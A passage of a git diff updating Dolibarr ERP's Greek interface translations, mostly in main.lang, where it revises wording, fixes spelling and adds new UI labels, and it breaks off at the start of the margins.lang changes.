NoItemLate=Δεν υπάρχει καθυστερημένο στοιχείο Photo=Εικόνα Photos=Εικόνες @@ -626,7 +630,7 @@ MonthVeryShort10=Ο MonthVeryShort11=Ν MonthVeryShort12=Δ AttachedFiles=Επισυναπτόμενα αρχεία και έγγραφα -JoinMainDoc=Συμμετοχή στο κύριο έγγραφο +JoinMainDoc=Επισυνάψτε το κύριο έγγραφο JoinMainDocOrLastGenerated=Στείλτε το κύριο έγγραφο ή το τελευταίο που δημιουργήθηκε εάν δεν βρεθεί DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD @@ -644,7 +648,7 @@ File=Αρχείο Files=Αρχεία NotAllowed=Δεν επιτρέπεται ReadPermissionNotAllowed=Δεν υπάρχει δικαίωμα ανάγνωσης -AmountInCurrency=Σύνολο σε %s +AmountInCurrency=Ποσό σε νόμισμα %s Example=Παράδειγμα Examples=Παραδείγματα NoExample=Κανένα παράδειγμα @@ -662,7 +666,7 @@ Check=Έλεγχος Uncheck=Αποεπιλογή Internal=Εσωτερικός External=Εξωτερικός -Internals=Εσωτερικόι +Internals=Εσωτερικοί Externals=Εξωτερικοί Warning=Προειδοποίηση Warnings=Προειδοποιήσεις @@ -687,7 +691,7 @@ FeatureNotYetSupported=Η δυνατότητα δεν υποστηρίζεται CloseWindow=Κλείσιμο Παραθύρου Response=Απάντηση Priority=Προτεραιότητα -SendByMail=Απόστειλε μέσω ηλεκτρονικού ταχυδρομείου +SendByMail=Αποστολή μέσω email MailSentBy=Το email στάλθηκε από NotSent=Δεν εστάλη TextUsedInTheMessageBody=Κείμενο email @@ -717,12 +721,12 @@ AutomaticCode=Αυτόματος Κωδικός FeatureDisabled=Η δυνατότητα είναι απενεργοποιημένη MoveBox=Μετακίνηση widget Offered=Προσφέρθηκε -NotEnoughPermissions=Δεν έχετε τα απαραίτητα δικαιώματα +NotEnoughPermissions=Δεν έχετε τα απαραίτητα δικαιώματα για αυτή την ενέργεια UserNotInHierachy=Αυτή η ενέργεια αφορά τους επόπτες αυτού του χρήστη -SessionName=Όνομα συνόδου +SessionName=Όνομα συνεδρίας Method=Μέθοδος Receive=Παραλαβή -CompleteOrNoMoreReceptionExpected=Ολοκληρώθηκε ή δεν αναμένετε κάτι περισσότερο +CompleteOrNoMoreReceptionExpected=Ολοκληρώθηκε ή δεν αναμένεται κάτι περισσότερο ExpectedValue=Αναμενόμενη αξία ExpectedQty=Αναμενόμενη ποσότητα PartialWoman=Μερική @@ -731,7 +735,7 @@ NeverReceived=Δεν παραλήφθηκε Canceled=Ακυρώθηκε YouCanChangeValuesForThisListFromDictionarySetup=Μπορείτε να αλλάξετε τιμές για αυτήν τη λίστα από το μενού Ρυθμίσεις - Λεξικά YouCanChangeValuesForThisListFrom=Μπορείτε να αλλάξετε τιμές για αυτήν τη λίστα από το μενού %s -YouCanSetDefaultValueInModuleSetup=Μπορείτε να ορίσετε την προεπιλεγμένη τιμή που χρησιμοποιείται κατά τη δημιουργία μιας νέας εγγραφής στη ρύθμιση μονάδων +YouCanSetDefaultValueInModuleSetup=Μπορείτε να ορίσετε την προεπιλεγμένη τιμή που χρησιμοποιείται κατά τη δημιουργία μιας νέας εγγραφής στη ρύθμιση της ενότητας Color=Χρώμα Documents=Συνδεδεμένα Αρχεία Documents2=Έγγραφα @@ -747,19 +751,19 @@ ThisLimitIsDefinedInSetupAt=Όριο Dolibarr (Μενού %s): %s Kb, όριο P NoFileFound=Δεν έχουν μεταφορτωθεί έγγραφα CurrentUserLanguage=Τρέχουσα γλώσσα CurrentTheme=Τρέχον θέμα -CurrentMenuManager=Τρέχουσα διαχειρηση μενού -Browser=Browser +CurrentMenuManager=Τρέχουσα διαχείριση μενού +Browser=Πρόγραμμα περιήγησης Layout=Σχέδιο Screen=Οθόνη -DisabledModules=Απενεργοποιημένες Μονάδες +DisabledModules=Απενεργοποιημένες ενότητες For=Για ForCustomer=Για τον πελάτη Signature=Υπογραφή DateOfSignature=Ημερομηνία υπογραφής -HidePassword=Εμφάνιση πραγματικής εντολής με απόκρυψη του κωδικού -UnHidePassword=Εμφάνιση πραγματικής εντολής με εμφάνιση του κωδικού -Root=Ρίζα -RootOfMedias=Ρίζα δημόσιων μέσων (/ media) +HidePassword=Εμφάνιση πραγματικής εντολής με απόκρυψη του κωδικού πρόσβασης +UnHidePassword=Εμφάνιση πραγματικής εντολής με εμφάνιση του κωδικού πρόσβασης +Root=Ριζικός κατάλογος +RootOfMedias=Ριζικός κατάλογος δημόσιων πολυμέσων (/medias) Informations=Πληροφορίες Page=Σελίδα Notes=Σημειώσεις @@ -767,13 +771,13 @@ AddNewLine=Προσθήκη νέας γραμμής AddFile=Προσθήκη Αρχείου FreeZone=Προϊόν ελεύθερου κειμένου FreeLineOfType=Στοιχείο ελεύθερου κειμένου, πληκτρολογήστε: -CloneMainAttributes=Κλωνοποίηση αντικειμένου με τα βασικά του χαρακτηριστικά +CloneMainAttributes=Αντιγραφή αντικειμένου με τα βασικά του χαρακτηριστικά ReGeneratePDF=Επαναπαραγωγή PDF PDFMerge=Συγχώνευση PDF Merge=Συγχώνευση DocumentModelStandardPDF=Τυπικό πρότυπο PDF -PrintContentArea=Εμγάνιση σελίδας για εκτύπωση -MenuManager=Menu manager +PrintContentArea=Εμφάνιση σελίδας για εκτύπωση της κύριας περιοχής περιεχομένου +MenuManager=Διαχείριση μενού WarningYouAreInMaintenanceMode=Προσοχή, βρίσκεστε σε λειτουργία συντήρησης: επιτρέπεται μόνο η σύνδεση %s να χρησιμοποιεί την εφαρμογή σε αυτή τη λειτουργία. CoreErrorTitle=Σφάλμα συστήματος CoreErrorMessage=Λυπούμαστε, παρουσιάστηκε ένα σφάλμα. Επικοινωνήστε με το διαχειριστή του συστήματος σας για να ελέγξετε τα αρχεία καταγραφής ή να απενεργοποιήστε το $ dolibarr_main_prod = 1 για να πάρετε περισσότερες πληροφορίες. @@ -781,7 +785,7 @@ CreditCard=Πιστωτική Κάρτα ValidatePayment=Επικύρωση πληρωμής CreditOrDebitCard=Πιστωτική ή χρεωστική κάρτα FieldsWithAreMandatory=Τα πεδία με%s είναι υποχρεωτικά -FieldsWithIsForPublic=Τα πεδία με %s εμφανίζονται στη δημόσια λίστα των μελών. Αν δεν το θέλετε, καταργήστε την επιλογή του πλαισίου "δημόσιο". +FieldsWithIsForPublic=Τα πεδία με %s εμφανίζονται στη δημόσια λίστα μελών. Εάν δεν το θέλετε αυτό, καταργήστε την επιλογή του πλαισίου "δημόσιο". AccordingToGeoIPDatabase=(σύμφωνα με τη μετατροπή GeoIP) Line=Γραμμή NotSupported=Δεν υποστηρίζεται @@ -790,8 +794,8 @@ Result=Αποτέλεσμα ToTest=Δοκιμή ValidateBefore=Το στοιχείο πρέπει να επικυρωθεί πριν χρησιμοποιήσετε αυτήν τη δυνατότητα Visibility=Ορατότητα -Totalizable=Συνολικά -TotalizableDesc=Αυτό το πεδίο είναι συνολικά σε λίστα +Totalizable=Αθροίσιμο +TotalizableDesc=Αυτό το πεδίο αθροίζεται στη λίστα Private=Προσωπικό Hidden=Κρυφό Resources=Πόροι @@ -801,39 +805,40 @@ Before=Πριν After=Μετά IPAddress=Η διεύθυνση IP Frequency=Συχνότητα -IM=Άμεσων μηνυμάτων +IM=Υπηρεσία άμεσης ανταλλαγής μηνυμάτων NewAttribute=Νέο χαρακτηριστικό -AttributeCode=Κωδικός Ιδιότητα +AttributeCode=Κωδικός χαρακτηριστικού URLPhoto=URL της φωτογραφία / λογότυπο SetLinkToAnotherThirdParty=Σύνδεση με άλλο τρίτο μέρος -LinkTo=Σύνδεση σε -LinkToProposal=Σύνδεση σε προσφορά +LinkTo=Σύνδεση με +LinkToProposal=Σύνδεση με προσφορά +LinkToExpedition= Σύνδεση με την καμπάνια LinkToOrder=Σύνδεση με παραγγελία -LinkToInvoice=Σύνδεση σε τιμολόγιο +LinkToInvoice=Σύνδεση με τιμολόγιο LinkToTemplateInvoice=Σύνδεση με το τιμολόγιο προτύπου -LinkToSupplierOrder=Σύνδεση με την παραγγελία αγοράς -LinkToSupplierProposal=Σύνδεση με την πρόταση προμηθευτή -LinkToSupplierInvoice=Σύνδεση με το τιμολόγιο προμηθευτή -LinkToContract=Σύνδεση με συμβόλαιο -LinkToIntervention=Σύνδεση σε παρέμβαση -LinkToTicket=Σύνδεση με το εισιτήριο -LinkToMo=Σύνδεσμος προς Mo +LinkToSupplierOrder=Σύνδεση με παραγγελία αγοράς +LinkToSupplierProposal=Σύνδεση με πρσφορά προμηθευτή +LinkToSupplierInvoice=Σύνδεση με τιμολόγιο προμηθευτή +LinkToContract=Σύνδεση με σύμβαση +LinkToIntervention=Σύνδεση με παρέμβαση +LinkToTicket=Σύνδεση με το ticket +LinkToMo=Σύνδεση με Mo CreateDraft=Δημιουργία σχεδίου SetToDraft=Επιστροφή στο προσχέδιο ClickToEdit=Κάντε κλικ για επεξεργασία ClickToRefresh=Κάντε κλικ για ανανέωση EditWithEditor=Επεξεργασία με το CKEditor EditWithTextEditor=Επεξεργασία με πρόγραμμα επεξεργασίας κειμένου -EditHTMLSource=Επεξεργασία προέλευσης HTML -ObjectDeleted=Αντικείμενο %s διαγράφεται +EditHTMLSource=Επεξεργασία πηγής HTML +ObjectDeleted=Το αντικείμενο %s διαγράφηκε ByCountry=Ανά χώρα ByTown=Ανά πόλη -ByDate=Με ημερομηνία +ByDate=Ανά ημερομηνία ByMonthYear=Ανά μήνα/έτος ByYear=Ανά έτος ByMonth=Με το μήνα ByDay=Ανά μέρα -BySalesRepresentative=Με τον αντιπρόσωπο πωλήσεων +BySalesRepresentative=Ανά αντιπρόσωπο πωλήσεων LinkedToSpecificUsers=Συνδέεται με μια συγκεκριμένη επαφή χρήστη NoResults=Δεν υπάρχουν αποτελέσματα AdminTools=Εργαλεία διαχειριστή @@ -841,7 +846,7 @@ SystemTools=Εργαλεία συστήματος ModulesSystemTools=Εργαλεία ενοτήτων Test=Δοκιμή Element=Στοιχείο -NoPhotoYet=Δεν υπαρχουν διαθεσημες φωτογραφίες ακόμα +NoPhotoYet=Δεν υπάρχουν διαθέσιμες εικόνες Dashboard=Πίνακας ελέγχου MyDashboard=Ο πίνακας ελέγχου μου Deductible=Εκπίπτουν @@ -849,13 +854,13 @@ from=από toward=προς Access=Πρόσβαση SelectAction=Επιλογή ενέργειας -SelectTargetUser=Επιλέξτε το χρήστη / υπάλληλο στόχου +SelectTargetUser=Επιλέξτε χρήστη/υπάλληλο-στόχο HelpCopyToClipboard=Χρησιμοποιήστε το Ctrl + C για να αντιγράψετε στο πρόχειρο SaveUploadedFileWithMask=Αποθηκεύστε το αρχείο στον server με το όνομα "%s" (αλλιώς "%s") OriginFileName=Αρχική Ονομασία SetDemandReason=Ρυθμίστε την πηγή SetBankAccount=Προσδιορίστε Τραπεζικό λογαριασμό -AccountCurrency=Τραπεζικός λογαριασμός +AccountCurrency=Νόμισμα Λογαριασμού ViewPrivateNote=Προβολή σημειώσεων XMoreLines=%s γραμμή (ές) κρυμμένη ShowMoreLines=Εμφάνιση περισσότερων / λιγότερων γραμμών @@ -865,8 +870,8 @@ SelectElementAndClick=Επιλέξτε ένα στοιχείο και κάντε PrintFile=Εκτύπωση του αρχείου %s ShowTransaction=Εμφάνιση καταχώρισης σε τραπεζικό λογαριασμό ShowIntervention=Εμφάνιση παρέμβασης -ShowContract=Εμφάνιση συμβολαίου -GoIntoSetupToChangeLogo=Μεταβείτε στην Αρχική σελίδα - Εγκατάσταση - Εταιρεία για να αλλάξετε το λογότυπο ή να μεταβείτε στην Αρχική σελίδα - Ρύθμιση - Εμφάνιση για απόκρυψη. +ShowContract=Εμφάνιση σύμβασης +GoIntoSetupToChangeLogo=Μεταβείτε στην Αρχική - Ρυθμίσεις - Εταιρεία / Οργανισμός για να αλλάξετε το λογότυπο ή μεταβείτε στην Αρχική - Ρυθμίσεις - Εμφάνιση για απόκρυψη αυτού. Deny=Άρνηση Denied=Άρνηση ListOf=Λίστα %s @@ -876,29 +881,32 @@ Genderman=Αρσενικό Genderwoman=Θηλυκό Genderother=Άλλο ViewList=Προβολή λίστας -ViewGantt=Gantt θέα -ViewKanban=Θέα στο Kanban +ViewGantt=Προβολή τύπου Gantt +ViewKanban=Προβολή τύπου Kanban Mandatory=Υποχρεωτικό Hello=Χαίρετε GoodBye=Αντίο σας Sincerely=Ειλικρινώς -ConfirmDeleteObject=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτό το αντικείμενο; +ConfirmDeleteObject=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτό το αντικείμενο; DeleteLine=Διαγραφή γραμμής -ConfirmDeleteLine=Είστε σίγουρος ότι θέλετε να διαγράψετε αυτή τη γραμμή; +ConfirmDeleteLine=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτή τη γραμμή; ErrorPDFTkOutputFileNotFound=Σφάλμα: το αρχείο δεν δημιουργήθηκε. Ελέγξτε ότι το 'pdftk' είναι εγκατεστημένο σε έναν κατάλογο που περιλαμβάνεται στο environment variable $PATH (μόνο linux/unix) ή επικοινωνήστε με τον διαχειριστή του συστήματός σας. -NoPDFAvailableForDocGenAmongChecked=Δεν υπήρχε αρχείο PDF για την παραγωγή εγγράφων μεταξύ των καταχωρημένων εγγραφών -TooManyRecordForMassAction=Έχουν επιλεγεί πάρα πολλά αρχεία για μαζική δράση. Η ενέργεια περιορίζεται σε μια λίστα αρχείων %s. +NoPDFAvailableForDocGenAmongChecked=Δεν υπήρχε αρχείο PDF για την παραγωγή εγγράφων μεταξύ των επιλεγμένων εγγραφών +TooManyRecordForMassAction=Έχουν επιλεγεί πάρα πολλά αρχεία για μαζική δράση. Η ενέργεια περιορίζεται σε μια λίστα %sαρχείων . NoRecordSelected=Δεν έχει επιλεγεί εγγραφή -MassFilesArea=Περιοχή για αρχεία που δημιουργούνται από μαζικές ενέργειες -ShowTempMassFilesArea=Εμφάνιση περιοχής αρχείων που έχουν δημιουργηθεί με μαζικές ενέργειες +MassFilesArea=Τομέας αρχείων που δημιουργήθηκαν από μαζικές ενέργειες +ShowTempMassFilesArea=Εμφάνιση τομέα αρχείων που έχουν δημιουργηθεί με μαζικές ενέργειες ConfirmMassDeletion=Επιβεβαίωση μαζικής διαγραφής -ConfirmMassDeletionQuestion=Είστε βέβαιοι ότι θέλετε να διαγράψετε τις επιλεγμένες εγγραφές %s; +ConfirmMassDeletionQuestion=Είστε σίγουροι ότι θέλετε να διαγράψετε τις επιλεγμένες εγγραφές %s; +ConfirmMassClone=Επιβεβαίωση μαζικής κλωνοποίησης +ConfirmMassCloneQuestion=Επιλέξτε έργο για κλωνοποίηση +ConfirmMassCloneToOneProject=Κλωνοποίηση στο έργο %s RelatedObjects=Σχετικά Αντικείμενα -ClassifyBilled=Χαρακτηρισμός ως τιμολογημένο -ClassifyUnbilled=Ταξινόμηση των μη τιμολογημένων +ClassifyBilled=Ταξινόμηση ως τιμολογημένο +ClassifyUnbilled=Ταξινόμηση ως μη τιμολογημένο Progress=Πρόοδος -ProgressShort=Progr. -FrontOffice=Μπροστινό γραφείο +ProgressShort=Πρόοδος +FrontOffice=Front office BackOffice=Υποστήριξη Submit=Υποβολή View=Προβολή @@ -908,13 +916,14 @@ ExportFilteredList=Εξαγωγή φιλτραρισμένης λίστας ExportList=Εξαγωγή λίστας ExportOptions=Επιλογές Εξαγωγής IncludeDocsAlreadyExported=Συμπεριλάβετε έγγραφα που έχουν ήδη εξαχθεί -ExportOfPiecesAlreadyExportedIsEnable=Η εξαγωγή τεμαχίων που έχουν ήδη εξαχθεί είναι δυνατή -ExportOfPiecesAlreadyExportedIsDisable=Η εξαγωγή τεμαχίων που έχουν ήδη εξαχθεί είναι απενεργοποιημένη +ExportOfPiecesAlreadyExportedIsEnable=Τα έγγραφα που έχουν ήδη εξαχθεί είναι ορατά και θα εξαχθούν ξανά +ExportOfPiecesAlreadyExportedIsDisable=Τα έγγραφα που έχουν ήδη εξαχθεί είναι κρυφά και δεν θα εξαχθούν ξανά AllExportedMovementsWereRecordedAsExported=Όλες οι εξαγόμενες κινήσεις καταγράφηκαν ως εξαγόμενες -NotAllExportedMovementsCouldBeRecordedAsExported=Δεν μπορούν να καταγραφούν όλες οι εξαγόμενες κινήσεις ως εξαγωγές +NotAllExportedMovementsCouldBeRecordedAsExported=Δεν ήταν δυνατή η καταγραφή όλων των εξαγόμενων κινήσεων Miscellaneous=Διάφορα Calendar=Ημερολόγιο GroupBy=Ομαδοποίηση κατά... +GroupByX=Ομαδοποίηση κατά %s ViewFlatList=Προβολή λίστας ViewAccountList=Προβολή καθολικού ViewSubAccountList=Προβολή καθολικού δευτερεύοντος λογαριασμού @@ -923,43 +932,44 @@ SomeTranslationAreUncomplete=Ορισμένες από τις διαθέσιμε DirectDownloadLink=Δημόσιος σύνδεσμος λήψης PublicDownloadLinkDesc=Απαιτείται μόνο ο σύνδεσμος για τη λήψη του αρχείου DirectDownloadInternalLink=Ιδιωτικός σύνδεσμος λήψης -PrivateDownloadLinkDesc=Πρέπει να είστε συνδεδεμένοι και χρειάζεστε δικαιώματα για να δείτε ή να κατεβάσετε το αρχείο -Download=Κατεβάστε +PrivateDownloadLinkDesc=Πρέπει να είστε συνδεδεμένοι και να έχετε τα απαραίτητα δικαιώματα για να δείτε ή να κατεβάσετε το αρχείο +Download=Λήψη DownloadDocument=Λήψη εγγράφου +DownloadSignedDocument=Λήψη υπογεγραμμένου εγγράφου ActualizeCurrency=Ενημέρωση τιμής νομίσματος Fiscalyear=Οικονομικό έτος -ModuleBuilder=Ενότητα και Εργαλείο δημιουργίας εφαρμογών +ModuleBuilder=Εφαρμογή δημιουργίας ενοτήτων SetMultiCurrencyCode=Ορισμός νομίσματος BulkActions=Μαζικές ενέργειες -ClickToShowHelp=Κάντε κλικ για να εμφανιστεί η βοήθεια βοήθειας -WebSite=Δικτυακός τόπος +ClickToShowHelp=Κάντε κλικ για να εμφανιστεί το αναδυόμενο πλαίσιο βοήθειας +WebSite=Ιστοσελίδα WebSites=Ιστοσελίδες -WebSiteAccounts=Λογαριασμοί ιστοτόπων +WebSiteAccounts=Λογαριασμοί ιστοσελίδας ExpenseReport=Αναφορά εξόδων ExpenseReports=Αναφορές εξόδων HR=HR HRAndBank=HR και Τράπεζα AutomaticallyCalculated=Αυτόματα υπολογισμένο TitleSetToDraft=Επιστροφή σε προσχέδιο -ConfirmSetToDraft=Είστε βέβαιοι ότι θέλετε να επιστρέψετε στην κατάσταση Προετοιμασίας; +ConfirmSetToDraft=Είστε σίγουροι ότι θέλετε να επιστρέψετε στην κατάσταση Προσχεδίου; ImportId=Εισαγωγή αναγνωριστικού Events=Συμβάντα EMailTemplates=Πρότυπα ηλεκτρονικού ταχυδρομείου -FileNotShared=Αρχείο που δεν μοιράζεται με εξωτερικό κοινό +FileNotShared=Αρχείο που δεν μοιράζεται με εξωτερικούς χρήστες Project=Έργο Projects=Έργα -LeadOrProject=Μόλυβδος | Εργο -LeadsOrProjects=Οδηγεί | Εργα -Lead=Οδηγω -Leads=Οδηγεί -ListOpenLeads=Κατάλογος ανοικτών αγωγών -ListOpenProjects=Κατάλογος ανοιχτών έργων -NewLeadOrProject=Νέο έργο ή έργο -Rights=Άδειες +LeadOrProject=Προοπτική | Έργο +LeadsOrProjects=Προοπτικές | Έργα +Lead=Προοπτική +Leads=Προοπτικές +ListOpenLeads=Λίστα ανοικτών προοπτικών +ListOpenProjects=Λίστα ανοιχτών έργων +NewLeadOrProject=Νέα προοπτική ή έργο +Rights=Δικαιώματα LineNb=Αριθμός γραμμής. IncotermLabel=Διεθνείς Εμπορικοί Όροι -TabLetteringCustomer=Γράμματα πελατών -TabLetteringSupplier=Επιστολές πωλητών +TabLetteringCustomer=Λογιστική συμφωνία πελατών +TabLetteringSupplier=Λογιστική συμφωνία προμηθευτών Monday=Δευτέρα Tuesday=Τρίτη Wednesday=Τετάρτη @@ -1022,13 +1032,13 @@ billion=δισεκατομμύριο trillion=τρισεκατομμύριο quadrillion=τετρακισεκατομμύριο SelectMailModel=Επιλέξτε ένα πρότυπο ηλεκτρονικού ταχυδρομείου -SetRef=Ρύθμιση αναφ -Select2ResultFoundUseArrows=Βρέθηκαν αποτελέσματα. Χρησιμοποιήστε τα βέλη για να επιλέξετε. -Select2NotFound=Δεν υπάρχουν αποτελέσματα +SetRef=Αναφορά Σετ +Select2ResultFoundUseArrows=Βρέθηκαν ορισμένα αποτελέσματα. Χρησιμοποιήστε τα βέλη για να επιλέξετε. +Select2NotFound=Δεν βρέθηκε αποτέλεσμα Select2Enter=Εισαγωγή Select2MoreCharacter=ή περισσότερους χαρακτήρες Select2MoreCharacters=ή περισσότερους χαρακτήρες -Select2MoreCharactersMore=Σύνταξη αναζήτησης:
      | Ή (α | β)
      * Οποιοσδήποτε χαρακτήρας (a * b)
      ^ Ξεκινήστε με (^ ab)
      $ Τέλος με (ab $)
      +Select2MoreCharactersMore=Σύνταξη αναζήτησης:
      | Ή (α | β)
      * Οποιοσδήποτε χαρακτήρας (α * β)
      ^ Ξεκινήστε με (^ ab)
      $ Τέλος με (αβ $)
      Select2LoadingMoreResults=Φόρτωση περισσότερων αποτελεσμάτων Select2SearchInProgress=Αναζήτηση σε εξέλιξη SearchIntoThirdparties=Πελ./Προμ. @@ -1042,16 +1052,17 @@ SearchIntoMO=Εντολές Παραγωγής SearchIntoTasks=Εργασίες SearchIntoCustomerInvoices=Τιμολόγια πελατών SearchIntoSupplierInvoices=Τιμολόγια προμηθευτή -SearchIntoCustomerOrders=Παραγγελίες πωλήσεων -SearchIntoSupplierOrders=Εντολές αγοράς +SearchIntoCustomerOrders=Εντολές πωλήσεων +SearchIntoSupplierOrders=Παραγγελίες αγοράς SearchIntoCustomerProposals=Προσφορές -SearchIntoSupplierProposals=Προτάσεις πωλητών +SearchIntoSupplierProposals=Προσφορές προμηθευτών SearchIntoInterventions=Παρεμβάσεις SearchIntoContracts=Συμβόλαια SearchIntoCustomerShipments=Αποστολές Πελάτη SearchIntoExpenseReports=Αναφορές εξόδων SearchIntoLeaves=Άδεια -SearchIntoTickets=Εισιτήρια +SearchIntoKM=Γνωσιακή βάση +SearchIntoTickets=Tickets SearchIntoCustomerPayments=Πληρωμές πελατών SearchIntoVendorPayments=Πληρωμές προμηθευτών SearchIntoMiscPayments=Διάφορες πληρωμές @@ -1106,7 +1117,7 @@ ContactDefault_project=Έργο ContactDefault_project_task=Εργασία ContactDefault_propal=Προσφορά ContactDefault_supplier_proposal=Προσφορά Προμηθευτή -ContactDefault_ticket=Εισιτήριο +ContactDefault_ticket=Ticket ContactAddedAutomatically=Η επαφή προστέθηκε από ρόλους τρίτων επαφών More=Περισσότερα ShowDetails=Εμφάνιση λεπτομερειών @@ -1122,6 +1133,7 @@ DeleteFileText=Θέλετε πραγματικά να διαγράψετε αυ ShowOtherLanguages=Εμφάνιση άλλων γλωσσών SwitchInEditModeToAddTranslation=Μεταβείτε στη λειτουργία επεξεργασίας για να προσθέσετε μεταφράσεις για αυτήν τη γλώσσα NotUsedForThisCustomer=Δεν χρησιμοποιείται για αυτόν τον πελάτη +NotUsedForThisVendor=Δεν χρησιμοποιείται για αυτόν τον προμηθευτή AmountMustBePositive=Το ποσό πρέπει να είναι θετικό ByStatus=Κατά κατάσταση InformationMessage=Πληροφορία @@ -1132,7 +1144,7 @@ MODIFYInDolibarr=Η εγγραφή %s τροποποιήθηκε DELETEInDolibarr=Η εγγραφή %s διαγράφηκε VALIDATEInDolibarr=Η εγγραφή %s επικυρώθηκε APPROVEDInDolibarr=Εγκρίθηκε η εγγραφή %s -DefaultMailModel=Προεπιλεγμένο μοντέλο αλληλογραφίας +DefaultMailModel=Προεπιλεγμένο πρότυπο αλληλογραφίας PublicVendorName=Επωνυμία προμηθευτή DateOfBirth=Ημερομηνία γέννησης SecurityTokenHasExpiredSoActionHasBeenCanceledPleaseRetry=Το Security token έχει λήξει, επομένως η ενέργεια ακυρώθηκε. Παρακαλώ προσπαθήστε ξανά. @@ -1142,22 +1154,36 @@ EventReminder=Υπενθύμιση συμβάντος UpdateForAllLines=Ενημέρωση για όλες τις γραμμές OnHold=Σε Αναμονή Civility=Ευγένεια -AffectTag=Επιβολή ετικέτας +AffectTag=Αντιστοιχίστε μια ετικέτα +AffectUser=Εκχώρηση σε χρήστη +SetSupervisor=Ορίστε τον επόπτη CreateExternalUser=Δημιουργία εξωτερικού χρήστη -ConfirmAffectTag=Μαζική επιβολή ετικετών -ConfirmAffectTagQuestion=Είστε σίγουροι ότι θέλετε να επιβάλετε τις ετικέτες στις επιλεγμένες εγγραφές %s; +ConfirmAffectTag=Μαζική αντιστοίχιση ετικετών +ConfirmAffectUser=Μαζική εκχώρηση σε χρήστες +ProjectRole=Ρόλος έχει εκχωρηθεί σε κάθε έργο/ευκαιρία +TasksRole=Ρόλος που έχει εκχωρηθεί σε κάθε εργασία (εάν χρησιμοποιείται) +ConfirmSetSupervisor=Μαζικός ορισμός Επόπτη +ConfirmUpdatePrice=Επιλέξτε ένα ποσοστό αύξησης/μείωσης τιμής +ConfirmAffectTagQuestion=Είστε σίγουροι ότι θέλετε να αντιστοιχίσετε ετικέτες στις επιλεγμένες εγγραφές %s; +ConfirmAffectUserQuestion=Είστε σίγουροι ότι θέλετε να εκχωρήσετε χρήστες στις επιλεγμένες εγγραφές %s; +ConfirmSetSupervisorQuestion=Είστε σίγουροι ότι θέλετε να ορίσετε τον επόπτη στις %s επιλεγμένες εγγραφές; +ConfirmUpdatePriceQuestion=Είστε σίγουροι ότι θέλετε να ενημερώσετε την τιμή των %s επιλεγμένων εγγραφών ; CategTypeNotFound=Δεν βρέθηκε τύπος ετικέτας για τον τύπο των εγγραφών +Rate=Τιμή +SupervisorNotFound=Δεν βρέθηκε Επόπτης CopiedToClipboard=Αντιγράφηκε στο πρόχειρο InformationOnLinkToContract=Το ποσό αυτό είναι μόνο το σύνολο όλων των γραμμών της σύμβασης. Δεν λαμβάνεται υπόψη η έννοια του χρόνου. ConfirmCancel=Είστε σίγουροι ότι θέλετε να ακυρώσετε EmailMsgID=Email MsgID +EmailDate=Ημερομηνία email +SetToStatus=Ορισμός σε κατάσταση %s SetToEnabled=Ορίστε σε ενεργοποιημένη -SetToDisabled=Ορίστηκε σε απενεργοποιημένη +SetToDisabled=Ορίστε σε απενεργοποιημένη ConfirmMassEnabling=επιβεβαίωση μαζικής ενεργοποίησης -ConfirmMassEnablingQuestion=Είστε σίγουροι ότι θέλετε να ενεργοποιήσετε την(τις) %sεπιλεγμένη(ες) εγγραφη(ές); +ConfirmMassEnablingQuestion=Είστε σίγουροι ότι θέλετε να ενεργοποιήσετε τις %sεπιλεγμένες εγγραφές; ConfirmMassDisabling=επιβεβαίωση μαζικής απενεργοποίησης ConfirmMassDisablingQuestion=Είστε σίγουροι ότι θέλετε να απενεργοποιήσετε τις επιλεγμένες εγγραφές %s; -RecordsEnabled=%s εγγραφή(ές) ενεργοποιημένες +RecordsEnabled=Ενεργοποιήθηκαν %s εγγραφές RecordsDisabled=%s εγγραφές απενεργοποιήθηκαν RecordEnabled=Η εγγραφή ενεργοποιήθηκε RecordDisabled=Η εγγραφή απενεργοποιήθηκε @@ -1179,11 +1205,23 @@ Terminated=Ακυρωμένο AddLineOnPosition=Προσθήκη γραμμής στη θέση (στο τέλος αν είναι κενή) ConfirmAllocateCommercial=Επιβεβαίωση ορισμού αντιπροσώπου πωλήσεων ConfirmAllocateCommercialQuestion=Είστε σίγουροι ότι θέλετε να ορίσετε τις επιλεγμένες εγγραφές %s; -CommercialsAffected=Εκπρόσωποι πωλήσεων που αφορά -CommercialAffected=Εκπρόσωπος πωλήσεων που αφορά +CommercialsAffected=Ορίστηκαν αντιπρόσωποι πωλήσεων +CommercialAffected=Ορίστηκε αντιπρόσωπος πωλήσεων YourMessage=Το μήνυμά σας YourMessageHasBeenReceived=Το μήνυμά σας έχει ληφθεί. Θα απαντήσουμε ή θα επικοινωνήσουμε μαζί σας το συντομότερο δυνατό. UrlToCheck=URL για έλεγχο Automation=Αυτοματισμός CreatedByEmailCollector=Δημιουργήθηκε από τον συλλέκτη Email CreatedByPublicPortal=Δημιουργήθηκε από Δημόσια πύλη +UserAgent=User Agent +InternalUser=Εσωτερικός χρήστης +ExternalUser=Εξωτερικός χρήστης +NoSpecificContactAddress=Δεν υπάρχει συγκεκριμένη επαφή ή διεύθυνση +NoSpecificContactAddressBis=Αυτή η καρτέλα είναι αφιερωμένη στην επιβολή συγκεκριμένων επαφών ή διευθύνσεων για το τρέχον αντικείμενο. Χρησιμοποιήστε το μόνο εάν θέλετε να ορίσετε μία ή περισσότερες συγκεκριμένες επαφές ή διευθύνσεις για το αντικείμενο όταν οι πληροφορίες του τρίτου μέρους δεν είναι αρκετές ή δεν είναι ακριβείς. +HideOnVCard=Απόκρυψη %s +AddToContacts=Προσθήκη διεύθυνσης στις επαφές μου +LastAccess=Τελευταία πρόσβαση +UploadAnImageToSeeAPhotoHere=Ανεβάστε μια εικόνα από την καρτέλα %s για να δείτε μια φωτογραφία εδώ +LastPasswordChangeDate=Ημερομηνία τελευταίας αλλαγής κωδικού πρόσβασης +PublicVirtualCardUrl=Σελίδα εικονικής επαγγελματικής κάρτας +TreeView=Tree view diff --git a/htdocs/langs/el_GR/margins.lang b/htdocs/langs/el_GR/margins.lang index 40df1eddafb..ba60d016dd2 100644 --- a/htdocs/langs/el_GR/margins.lang +++ b/htdocs/langs/el_GR/margins.lang @@ -5,10 +5,11 @@ Margins=Περιθώρια TotalMargin=Συνολικό Περιθώριο MarginOnProducts=Περιθώριο / Προϊόντα MarginOnServices=Περιθώριο / Υπηρεσίες -MarginRate=Ποσοστό περιθωρίου επί της % 